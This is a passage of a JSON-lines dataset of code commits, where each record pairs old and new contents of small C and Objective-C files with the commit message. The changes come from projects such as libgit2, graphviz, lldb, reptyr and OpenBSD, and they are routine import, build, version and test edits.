\"NSString+SAMAdditions.h\"\n#import \"NSURL+SAMAdditions.h\"\n\n\/\/ UIKit\n#if TARGET_OS_IPHONE\n\t#import \"UIApplication+SAMAdditions.h\"\n\t#import \"UIColor+SAMAdditions.h\"\n\t#import \"UIControl+SAMAdditions.h\"\n\t#import \"UIDevice+SAMAdditions.h\"\n\t#import \"UIScreen+SAMAdditions.h\"\n\t#import \"UIScrollView+SAMAdditions.h\"\n\t#import \"UIView+SAMAdditions.h\"\n\t#import \"UIViewController+SAMAdditions.h\"\n#endif\n","subject":"Add missing import for UIControl+SAMAdditions.h","message":"Add missing import for UIControl+SAMAdditions.h\n","lang":"C","license":"mit","repos":"soffes\/SAMCategories,cloudjanak\/SAMCategories"}
{"commit":"91dbe918a3ed65fa8a057d7ced6ffc2016857d50","old_file":"SwiftDevHints\/SwiftDevHints.h","new_file":"SwiftDevHints\/SwiftDevHints.h","old_contents":"\/\/\n\/\/  SwiftDevHints.h\n\/\/  SwiftDevHints\n\/\/\n\/\/  Created by ZHOU DENGFENG on 15\/7\/17.\n\/\/  Copyright © 2017 ZHOU DENGFENG DEREK. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n#import <CommonCrypto\/CommonCrypto.h>\n\n\/\/! Project version number for SwiftDevHints.\nFOUNDATION_EXPORT double SwiftDevHintsVersionNumber;\n\n\/\/! Project version string for SwiftDevHints.\nFOUNDATION_EXPORT const unsigned char SwiftDevHintsVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <SwiftDevHints\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  SwiftDevHints.h\n\/\/  SwiftDevHints\n\/\/\n\/\/  Created by ZHOU DENGFENG on 15\/7\/17.\n\/\/  Copyright © 2017 ZHOU DENGFENG DEREK. All rights reserved.\n\/\/\n\n@import Foundation;\n\n#import <CommonCrypto\/CommonCrypto.h>\n\n\/\/! Project version number for SwiftDevHints.\nFOUNDATION_EXPORT double SwiftDevHintsVersionNumber;\n\n\/\/! Project version string for SwiftDevHints.\nFOUNDATION_EXPORT const unsigned char SwiftDevHintsVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <SwiftDevHints\/PublicHeader.h>\n\n\n","subject":"Remove UIKit import to support macOS","message":"Remove UIKit import to support macOS\n","lang":"C","license":"mit","repos":"derekcoder\/SwiftDevHints,derekcoder\/SwiftDevHints"}
{"commit":"8ad9143cc688ba501223684d2eb723f5c46237b2","old_file":"test\/wasm\/soft\/float\/addtf3.c","new_file":"test\/wasm\/soft\/float\/addtf3.c","old_contents":"#include \"src\/math\/reinterpret.h\"\n#include <assert.h>\n\nlong double __addtf3(long double, long double);\n\nstatic _Bool equivalent(long double x, long double y)\n{\n    if (x != x)\n        return y != y;\n\n    return reinterpret(unsigned __int128, x) == reinterpret(unsigned __int128, y);\n}\n\nstatic _Bool run(long double x, long double y)\n{\n    return equivalent(x + y, __addtf3(x, y));\n}\n\n#define TEST(x, y) do { \\\n    _Static_assert(__builtin_constant_p((long double)(x) + (long double)(y)), \"This test requires compile-time constants\"); \\\n    assert(run(x, y)); \\\n} while (0)\n","new_contents":"#include \"src\/math\/reinterpret.h\"\n#include <math.h>\n#include <assert.h>\n\nlong double __addtf3(long double, long double);\n\nstatic _Bool run(long double x, long double y)\n{\n    return reinterpret(unsigned __int128, x + y) == reinterpret(unsigned __int128, __addtf3(x, y));\n}\n\nint main(void)\n{\n    assert(isnan(__addtf3(NAN, NAN)));\n    assert(isnan(__addtf3(NAN, INFINITY)));\n    assert(isnan(__addtf3(NAN, 0x1.23456789abcdefp+3L)));\n    assert(isnan(__addtf3(INFINITY, -INFINITY)));\n\n    assert(run(INFINITY, INFINITY));\n    assert(run(INFINITY, -0x1.23456789abcdefp+3849L));\n}\n","subject":"Test non-finite soft float addition","message":"Test non-finite soft float addition\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"7bed25a23f0967cc5a57bfe913416a85a59fd913","old_file":"tests-clar\/attr\/attr_expect.h","new_file":"tests-clar\/attr\/attr_expect.h","old_contents":"#ifndef __CLAR_TEST_ATTR_EXPECT__\n#define __CLAR_TEST_ATTR_EXPECT__\n\nenum attr_expect_t {\n\tEXPECT_FALSE,\n\tEXPECT_TRUE,\n\tEXPECT_UNDEFINED,\n\tEXPECT_STRING\n};\n\nstruct attr_expected {\n\tconst char *path;\n\tconst char *attr;\n\tenum attr_expect_t expected;\n\tconst char *expected_str;\n};\n\nstatic inline void attr_check_expected(\n\tenum attr_expect_t expected,\n\tconst char *expected_str,\n\tconst char *value)\n{\n\tswitch (expected) {\n\tcase EXPECT_TRUE:\n\t\tcl_assert(GIT_ATTR_TRUE(value));\n\t\tbreak;\n\n\tcase EXPECT_FALSE:\n\t\tcl_assert(GIT_ATTR_FALSE(value));\n\t\tbreak;\n\n\tcase EXPECT_UNDEFINED:\n\t\tcl_assert(GIT_ATTR_UNSPECIFIED(value));\n\t\tbreak;\n\n\tcase EXPECT_STRING:\n\t\tcl_assert_strequal(expected_str, value);\n\t\tbreak;\n\t}\n}\n\n#endif\n","new_contents":"#ifndef __CLAR_TEST_ATTR_EXPECT__\n#define __CLAR_TEST_ATTR_EXPECT__\n\nenum attr_expect_t {\n\tEXPECT_FALSE,\n\tEXPECT_TRUE,\n\tEXPECT_UNDEFINED,\n\tEXPECT_STRING\n};\n\nstruct attr_expected {\n\tconst char *path;\n\tconst char *attr;\n\tenum attr_expect_t expected;\n\tconst char *expected_str;\n};\n\nGIT_INLINE(void) attr_check_expected(\n\tenum attr_expect_t expected,\n\tconst char *expected_str,\n\tconst char *value)\n{\n\tswitch (expected) {\n\tcase EXPECT_TRUE:\n\t\tcl_assert(GIT_ATTR_TRUE(value));\n\t\tbreak;\n\n\tcase EXPECT_FALSE:\n\t\tcl_assert(GIT_ATTR_FALSE(value));\n\t\tbreak;\n\n\tcase EXPECT_UNDEFINED:\n\t\tcl_assert(GIT_ATTR_UNSPECIFIED(value));\n\t\tbreak;\n\n\tcase EXPECT_STRING:\n\t\tcl_assert_strequal(expected_str, value);\n\t\tbreak;\n\t}\n}\n\n#endif\n","subject":"Fix the build on Windows","message":"Fix the build on Windows\n","lang":"C","license":"lgpl-2.1","repos":"saurabhsuniljain\/libgit2,joshtriplett\/libgit2,stewid\/libgit2,magnus98\/TEST,mrksrm\/Mingijura,swisspol\/DEMO-libgit2,oaastest\/libgit2,Tousiph\/Demo1,maxiaoqian\/libgit2,Corillian\/libgit2,amyvmiwei\/libgit2,kenprice\/libgit2,t0xicCode\/libgit2,Snazz2001\/libgit2,sygool\/libgit2,evhan\/libgit2,maxiaoqian\/libgit2,mrksrm\/Mingijura,JIghtuse\/libgit2,nacho\/libgit2,amyvmiwei\/libgit2,falqas\/libgit2,rcorre\/libgit2,kenprice\/libgit2,MrHacky\/libgit2,zodiac\/libgit2.js,mingyaaaa\/libgit2,JIghtuse\/libgit2,jflesch\/libgit2-mariadb,KTXSoftware\/libgit2,linquize\/libgit2,nacho\/libgit2,maxiaoqian\/libgit2,linquize\/libgit2,Snazz2001\/libgit2,sim0629\/libgit2,Corillian\/libgit2,dleehr\/libgit2,chiayolin\/libgit2,since2014\/libgit2,Corillian\/libgit2,swisspol\/DEMO-libgit2,MrHacky\/libgit2,ardumont\/libgit2,chiayolin\/libgit2,spraints\/libgit2,swisspol\/DEMO-libgit2,JIghtuse\/libgit2,iankronquist\/libgit2,amyvmiwei\/libgit2,jeffhostetler\/public_libgit2,yosefhackmon\/libgit2,saurabhsuniljain\/libgit2,Snazz2001\/libgit2,saurabhsuniljain\/libgit2,spraints\/libgit2,mingyaaaa\/libgit2,claudelee\/libgit2,linquize\/libgit2,ardumont\/libgit2,saurabhsuniljain\/libgit2,dleehr\/libgit2,mcanthony\/libgit2,mhp\/libgit2,zodiac\/libgit2.js,nokiddin\/libgit2,spraints\/libgit2,Aorjoa\/libgit2_maked_lib,leoyanggit\/libgit2,whoisj\/libgit2,t0xicCode\/libgit2,Aorjoa\/libgit2_maked_lib,yosefhackmon\/libgit2,Tousiph\/Demo1,Corillian\/libgit2,MrHacky\/libgit2,oaastest\/libgit2,stewid\/libgit2,nokiddin\/libgit2,kissthink\/libgit2,t0xicCode\/libgit2,saurabhsuniljain\/libgit2,whoisj\/libgit2,JIghtuse\/libgit2,zodiac\/libgit2.js,stewid\/libgit2,kissthink\/libgit2,kenprice\/libgit2,falqas\/libgit2,dleehr\/libgit2,leoyanggit\/libgit2,leoyanggit\/libgit2,linquize\/libgit2,linquize\/libgit2,dleehr\/libgit2,mhp\/libgit2,rcorre\/libgit2,jeffhostetler\/public_libgit2,whoisj\/libgit2,JIghtuse\/libgit2,since2014\/libgit2,amyvmiwei\/libgit2,stewid\/libgit2,jflesch\/libgit2-mariadb,sygool\/libgit2,Tousiph\/Demo1,ardumont\/libgit2,KTXSoftware\/libgit2,maxiaoqian\/libgit2,sim0629\/libgit2,claudelee\/libgit2,jflesch\/libgit2-mariadb,JIghtuse\/libgit2,claudelee\/libgit2,t0xicCode\/libgit2,yosefhackmon\/libgit2,yongthecoder\/libgit2,stewid\/libgit2,nacho\/libgit2,falqas\/libgit2,ardumont\/libgit2,MrHacky\/libgit2,KTXSoftware\/libgit2,kissthink\/libgit2,mcanthony\/libgit2,raybrad\/libit2,jamieleecool\/ptest,iankronquist\/libgit2,Corillian\/libgit2,yosefhackmon\/libgit2,iankronquist\/libgit2,sygool\/libgit2,jflesch\/libgit2-mariadb,mhp\/libgit2,nokiddin\/libgit2,dleehr\/libgit2,chiayolin\/libgit2,jamieleecool\/ptest,magnus98\/TEST,raybrad\/libit2,since2014\/libgit2,mrksrm\/Mingijura,Snazz2001\/libgit2,jamieleecool\/ptest,claudelee\/libgit2,dleehr\/libgit2,magnus98\/TEST,iankronquist\/libgit2,joshtriplett\/libgit2,Snazz2001\/libgit2,skabel\/manguse,since2014\/libgit2,claudelee\/libgit2,skabel\/manguse,oaastest\/libgit2,jeffhostetler\/public_libgit2,joshtriplett\/libgit2,falqas\/libgit2,jamieleecool\/ptest,Aorjoa\/libgit2_maked_lib,yosefhackmon\/libgit2,swisspol\/DEMO-libgit2,raybrad\/libit2,kenprice\/libgit2,sygool\/libgit2,Tousiph\/Demo1,sim0629\/libgit2,raybrad\/libit2,kissthink\/libgit2,stewid\/libgit2,Aorjoa\/libgit2_maked_lib,saurabhsuniljain\/libgit2,skabel\/manguse,zodiac\/libgit2.js,amyvmiwei\/libgit2,joshtriplett\/libgit2,nacho\/libgit2,yongthecoder\/libgit2,mingyaaaa\/libgit2,Aorjoa\/libgit2_maked_lib,nokiddin\/libgit2,oaastest\/libgit2,nokiddin\/libgit2,magnus98\/TEST,yosefhackmon\/libgit2,yongthecoder\/libgit2,ardumont\/libgit2,Tousiph\/Demo1,whoisj\/libgit2,kissthink\/libgit2,mhp\/libgit2,jflesch\/libgit2-mariadb,mingyaaaa\/libgit2,yongthecoder\/libgit2,mcanthony\/libgit2,kenprice\/libgit2,zodiac\/libgit2.js,falqas\/libgit2,spraints\/libgit2,mcanthony\/libgit2,whoisj\/libgit2,since2014\/libgit2,sim0629\/libgit2,kissthink\/libgit2,KTXSoftware\/libgit2,maxiaoqian\/libgit2,iankronquist\/libgit2,sim0629\/libgit2,evhan\/libgit2,oaastest\/libgit2,iankronquist\/libgit2,t0xicCode\/libgit2,skabel\/manguse,leoyanggit\/libgit2,swisspol\/DEMO-libgit2,joshtriplett\/libgit2,sim0629\/libgit2,chiayolin\/libgit2,skabel\/manguse,whoisj\/libgit2,spraints\/libgit2,spraints\/libgit2,mingyaaaa\/libgit2,mingyaaaa\/libgit2,since2014\/libgit2,joshtriplett\/libgit2,rcorre\/libgit2,mcanthony\/libgit2,mrksrm\/Mingijura,jflesch\/libgit2-mariadb,oaastest\/libgit2,skabel\/manguse,leoyanggit\/libgit2,claudelee\/libgit2,KTXSoftware\/libgit2,Tousiph\/Demo1,mhp\/libgit2,jeffhostetler\/public_libgit2,rcorre\/libgit2,sygool\/libgit2,ardumont\/libgit2,evhan\/libgit2,mrksrm\/Mingijura,Snazz2001\/libgit2,chiayolin\/libgit2,mrksrm\/Mingijura,rcorre\/libgit2,Corillian\/libgit2,falqas\/libgit2,maxiaoqian\/libgit2,chiayolin\/libgit2,sygool\/libgit2,amyvmiwei\/libgit2,yongthecoder\/libgit2,KTXSoftware\/libgit2,mhp\/libgit2,kenprice\/libgit2,rcorre\/libgit2,linquize\/libgit2,yongthecoder\/libgit2,raybrad\/libit2,magnus98\/TEST,leoyanggit\/libgit2,nokiddin\/libgit2,MrHacky\/libgit2,swisspol\/DEMO-libgit2,jeffhostetler\/public_libgit2,evhan\/libgit2,t0xicCode\/libgit2,magnus98\/TEST,jeffhostetler\/public_libgit2,MrHacky\/libgit2,mcanthony\/libgit2"}
{"commit":"dc2edbb5925de782ba73ce7e2e496c17b5427cff","old_file":"reptyr.h","new_file":"reptyr.h","old_contents":"\/*\n * Copyright (C) 2011 by Nelson Elhage\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#define REPTYR_VERSION \"0.4\"\n\nint attach_child(pid_t pid, const char *pty, int force_stdio);\n#define __printf __attribute__((format(printf, 1, 2)))\nvoid __printf die(const char *msg, ...);\nvoid __printf debug(const char *msg, ...);\nvoid __printf error(const char *msg, ...);\n","new_contents":"\/*\n * Copyright (C) 2011 by Nelson Elhage\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#define REPTYR_VERSION \"0.4dev\"\n\nint attach_child(pid_t pid, const char *pty, int force_stdio);\n#define __printf __attribute__((format(printf, 1, 2)))\nvoid __printf die(const char *msg, ...);\nvoid __printf debug(const char *msg, ...);\nvoid __printf error(const char *msg, ...);\n","subject":"Bump the version number for development.","message":"Bump the version number for development.\n","lang":"C","license":"mit","repos":"nelhage\/reptyr,jerome-pouiller\/reredirect,yatsek\/reptyr,yatsek\/reptyr,nelhage\/reptyr,yatsek\/reptyr,developerfm\/reptyr,developerfm\/reptyr,developerfm\/reptyr,nelhage\/reptyr,jerome-pouiller\/reredirect"}
{"commit":"b4324c4e201ad7a0ee1f5a316cbc119cd8be33c2","old_file":"OpenMRS-iOS\/EditPatientForm.h","new_file":"OpenMRS-iOS\/EditPatientForm.h","old_contents":"\/\/\n\/\/  EditPatientForm.h\n\/\/  OpenMRS-iOS\n\/\/\n\/\/  Created by Yousef Hamza on 7\/5\/15.\n\/\/  Copyright (c) 2015 Erway Software. All rights reserved.\n\/\/\n\n#import \"XLForm.h\"\n#import \"XLFormViewController.h\"\n#import \"MRSPatient.h\"\n\n@interface EditPatientForm : XLFormViewController <UIAlertViewDelegate>\n\n- (instancetype)initWithPatient:(MRSPatient *)patient;\n@property (nonatomic, strong) MRSPatient *patient;\n\n@end","new_contents":"\/\/\n\/\/  EditPatientForm.h\n\/\/  OpenMRS-iOS\n\/\/\n\/\/  Created by Yousef Hamza on 7\/5\/15.\n\/\/  Copyright (c) 2015 Erway Software. All rights reserved.\n\/\/\n\n#import \"XLForm.h\"\n#import \"XLFormViewController.h\"\n#import \"MRSPatient.h\"\n\n@interface EditPatientForm : XLFormViewController <UIAlertViewDelegate>\n\n@property (nonatomic, strong) MRSPatient *patient;\n\n- (instancetype)initWithPatient:(MRSPatient *)patient;\n\n@end","subject":"Move method after property declaration","message":"Move method after property declaration\n","lang":"C","license":"mpl-2.0","repos":"Undo1\/openmrs-contrib-ios-client,Undo1\/openmrs-contrib-ios-client,yousefhamza\/openmrs-contrib-ios-client,yousefhamza\/openmrs-contrib-ios-client"}
{"commit":"b781d46789fdbe4ae039ba622d1285b3a09afda3","old_file":"arch\/mvme88k\/include\/setjmp.h","new_file":"arch\/mvme88k\/include\/setjmp.h","old_contents":"\/*\t$OpenBSD: setjmp.h,v 1.6 2001\/08\/12 12:03:02 heko Exp $\t*\/\n\n\/*\n * machine\/setjmp.h: machine dependent setjmp-related information.\n *\/\n#ifndef __MACHINE_SETJMP_H__\n#define __MACHINE_SETJMP_H__\n#define\t_JBLEN\t22\t\t\/* size, in longs, of a jmp_buf *\/\n#endif \/* __MACHINE_SETJMP_H__ *\/\n","new_contents":"\/*\t$OpenBSD: setjmp.h,v 1.7 2003\/08\/01 07:41:33 miod Exp $\t*\/\n\n\/*\n * machine\/setjmp.h: machine dependent setjmp-related information.\n *\/\n#ifndef __MACHINE_SETJMP_H__\n#define __MACHINE_SETJMP_H__\n#define\t_JBLEN\t21\t\t\/* size, in longs, of a jmp_buf *\/\n#endif \/* __MACHINE_SETJMP_H__ *\/\n","subject":"Fix the *longjmp() behaviour - it is legal to reuse a jmp_buf several times. Gets us a working perl 5.8.","message":"Fix the *longjmp() behaviour - it is legal to reuse a jmp_buf several times.\nGets us a working perl 5.8.\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"5662584a00d224dbfc0510fa97fcc96f0dfdbb1e","old_file":"lib\/vpsc\/blocks.h","new_file":"lib\/vpsc\/blocks.h","old_contents":"","new_contents":"\/**\n * \\brief A block structure defined over the variables\n *\n * A block structure defined over the variables such that each block contains\n * 1 or more variables, with the invariant that all constraints inside a block\n * are satisfied by keeping the variables fixed relative to one another\n *\n * Authors:\n *   Tim Dwyer <tgdwyer@gmail.com>\n *\n * Copyright (C) 2005 Authors\n *\n * This version is released under the CPL (Common Public License) with\n * the Graphviz distribution.\n * A version is also available under the LGPL as part of the Adaptagrams\n * project: http:\/\/sourceforge.net\/projects\/adaptagrams.  \n * If you make improvements or bug fixes to this code it would be much\n * appreciated if you could also contribute those changes back to the\n * Adaptagrams repository.\n *\/\n\n#ifndef SEEN_REMOVEOVERLAP_BLOCKS_H\n#define SEEN_REMOVEOVERLAP_BLOCKS_H\n\n#ifdef RECTANGLE_OVERLAP_LOGGING\n#define LOGFILE \"cRectangleOverlap.log\"\n#endif\n\n#include <set>\n#include <list>\n\nclass Block;\nclass Variable;\nclass Constraint;\n\/**\n * A block structure defined over the variables such that each block contains\n * 1 or more variables, with the invariant that all constraints inside a block\n * are satisfied by keeping the variables fixed relative to one another\n *\/\nclass Blocks : public std::set<Block*>\n{\npublic:\n\tBlocks(const int n, Variable *vs[]);\n\t~Blocks(void);\n\tvoid mergeLeft(Block *r);\n\tvoid mergeRight(Block *l);\n\tvoid split(Block *b, Block *&l, Block *&r, Constraint *c);\n\tstd::list<Variable*> *totalOrder();\n\tvoid cleanup();\n\tdouble cost();\nprivate:\n\tvoid dfsVisit(Variable *v, std::list<Variable*> *order);\n\tvoid removeBlock(Block *doomed);\n\tVariable **vs;\n\tint nvs;\n};\n\nextern long blockTimeCtr;\n#endif \/\/ SEEN_REMOVEOVERLAP_BLOCKS_H\n","subject":"Add the vpsc library for IPSEPCOLA features","message":"Add the vpsc library for IPSEPCOLA features\n","lang":"C","license":"epl-1.0","repos":"ellson\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,ellson\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,tkelman\/graphviz,tkelman\/graphviz,tkelman\/graphviz,kbrock\/graphviz,ellson\/graphviz,ellson\/graphviz,kbrock\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz"}
{"commit":"42d282fd4f4dc53389fe62eba8b934cb7174acf0","old_file":"include\/lldb\/lldb-python.h","new_file":"include\/lldb\/lldb-python.h","old_contents":"\/\/===-- lldb-python.h --------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLDB_lldb_python_h_\n#define LLDB_lldb_python_h_\n\n\/\/ Python.h needs to be included before any system headers in order to avoid redefinition of macros\n\n#ifdef LLDB_DISABLE_PYTHON\n\n\/\/ Python is disabled in this build\n\n#else\n\n#include <Python\/Python.h>\n\n#endif \/\/ LLDB_DISABLE_PYTHON\n\n#endif  \/\/ LLDB_lldb_python_h_\n","new_contents":"\/\/===-- lldb-python.h --------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLDB_lldb_python_h_\n#define LLDB_lldb_python_h_\n\n\/\/ Python.h needs to be included before any system headers in order to avoid redefinition of macros\n\n#ifdef LLDB_DISABLE_PYTHON\n\n\/\/ Python is disabled in this build\n\n#else\n\n#ifdef __FreeBSD__\n#include <Python.h>\n#else\n#include <Python\/Python.h>\n#endif\n\n#endif \/\/ LLDB_DISABLE_PYTHON\n\n#endif  \/\/ LLDB_lldb_python_h_\n","subject":"Fix build on FreeBSD after r196141","message":"Fix build on FreeBSD after r196141\n\nThis should probably be replaced with build infrastructure support for\na platform-specific canonical Python include path, but for now it should\nrestore the FreeBSD buildbot.\n\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@196167 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb"}
{"commit":"963c9b00874672a03e4f1251bcdde9f5d929a81a","old_file":"src\/math\/p_itof.c","new_file":"src\/math\/p_itof.c","old_contents":"#include <pal.h>\n\n\/**\n *\n * Converts integer values in 'a' to floating point values.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @param p     Number of processor to use (task parallelism)\n *\n * @param team  Team to work with \n *\n * @return      None\n *\n *\/\n#include <math.h>\nvoid p_itof(int *a, float *c, int n, int p, p_team_t team) {\n\tint i;\n\tfor(i = 0; i < n; i++) {\n\t\t*(c + i) = (float)(*(a + i));\n\t}\n}\n","new_contents":"#include <pal.h>\n\n\/**\n *\n * Converts integer values in 'a' to floating point values.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @param p     Number of processor to use (task parallelism)\n *\n * @param team  Team to work with \n *\n * @return      None\n *\n *\/\n#include <math.h>\nvoid p_itof(int *a, float *c, int n, int p, p_team_t team) {\n\tfor(int i = 0; i < n; i++) {\n\t\t*(c + i) = (float)(*(a + i));\n\t}\n}\n","subject":"Initialize variable in the declaration","message":"Initialize variable in the declaration\n\nGoogle style guide http:\/\/google-styleguide.googlecode.com\/svn\/trunk\/cppguide.html#Local_Variables\r\n\"Place a function's variables in the narrowest scope possible, and initialize variables in the declaration.\"\r\n\r\nSigned-off-by: Tom Anderson <bd28f8d49b61b0565f68fcded57d716070757017@email.com>","lang":"C","license":"apache-2.0","repos":"eliteraspberries\/pal,RafaelRMA\/pal,8l\/pal,debug-de-su-ka\/pal,mateunho\/pal,aolofsson\/pal,Adamszk\/pal3,parallella\/pal,olajep\/pal,eliteraspberries\/pal,parallella\/pal,mateunho\/pal,Adamszk\/pal3,RafaelRMA\/pal,RafaelRMA\/pal,8l\/pal,debug-de-su-ka\/pal,8l\/pal,debug-de-su-ka\/pal,olajep\/pal,aolofsson\/pal,parallella\/pal,mateunho\/pal,Adamszk\/pal3,debug-de-su-ka\/pal,olajep\/pal,parallella\/pal,eliteraspberries\/pal,eliteraspberries\/pal,debug-de-su-ka\/pal,parallella\/pal,aolofsson\/pal,aolofsson\/pal,8l\/pal,mateunho\/pal,RafaelRMA\/pal,mateunho\/pal,Adamszk\/pal3,olajep\/pal,eliteraspberries\/pal"}
{"commit":"e194d0bc205719c2359ab339be64b93154106500","old_file":"src\/pythoninlua.h","new_file":"src\/pythoninlua.h","old_contents":"\/*\n\n Lunatic Python\n --------------\n \n Copyright (c) 2002-2005  Gustavo Niemeyer <gustavo@niemeyer.net>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n*\/\n#ifndef PYTHONINLUA_H\n#define PYTHONINLUA_H\n\n#define POBJECT \"POBJECT\"\n\nint py_convert(lua_State *L, PyObject *o, int withnone);\n\ntypedef struct {\n\tPyObject *o;\n\tint asindx;\n} py_object;\n\nvoid stackDump(lua_State *L);\nvoid tableDump(lua_State *L, int t);\n\npy_object *check_py_object(lua_State *L, int ud);\n\nLUA_API int luaopen_python(lua_State *L);\n\n#endif\n","new_contents":"\/*\n\n Lunatic Python\n --------------\n \n Copyright (c) 2002-2005  Gustavo Niemeyer <gustavo@niemeyer.net>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n*\/\n#ifndef PYTHONINLUA_H\n#define PYTHONINLUA_H\n\n#define POBJECT \"PyObject\"\n\nint py_convert(lua_State *L, PyObject *o, int withnone);\n\ntypedef struct {\n\tPyObject *o;\n\tint asindx;\n} py_object;\n\nvoid stackDump(lua_State *L);\nvoid tableDump(lua_State *L, int t);\n\npy_object *check_py_object(lua_State *L, int ud);\n\nLUA_API int luaopen_python(lua_State 